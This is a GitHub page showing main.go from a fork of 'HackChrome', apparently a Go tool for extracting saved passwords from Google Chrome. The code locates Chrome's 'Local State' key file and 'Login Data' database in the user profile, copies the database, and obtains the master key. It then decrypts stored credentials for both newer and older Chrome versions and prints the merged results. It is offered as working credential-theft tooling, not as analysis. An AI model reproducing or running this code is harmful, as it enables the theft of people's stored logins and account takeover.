forked from cckuailong/HackChrome
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
37 lines (30 loc) · 756 Bytes
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main
import (
"HackChrome/core"
"HackChrome/utils"
"fmt"
_ "github.com/mattn/go-sqlite3"
"os"
)
func main(){
key_file := os.Getenv("USERPROFILE") + "/AppData/Local/Google/Chrome/User Data/Local State"
orig_pwd_db := os.Getenv("USERPROFILE") + "/AppData/Local/Google/Chrome/User Data/default/Login Data"
pwd_db := "LocalDB"
utils.CopyFile(orig_pwd_db, pwd_db)
master_key, err := core.GetMaster(key_file)
if err != nil{
fmt.Println(err)
return
}
// chrome > v80
chrome_v80_res := core.GetPwd(pwd_db, master_key)
// chrome < v80
chrome_res := core.GetPwdPre(pwd_db)
// total
total_res := utils.Merge(chrome_v80_res, chrome_res)
err = utils.FormatOutput(total_res, pwd_db)
if err != nil{
fmt.Println(err)
return
}
}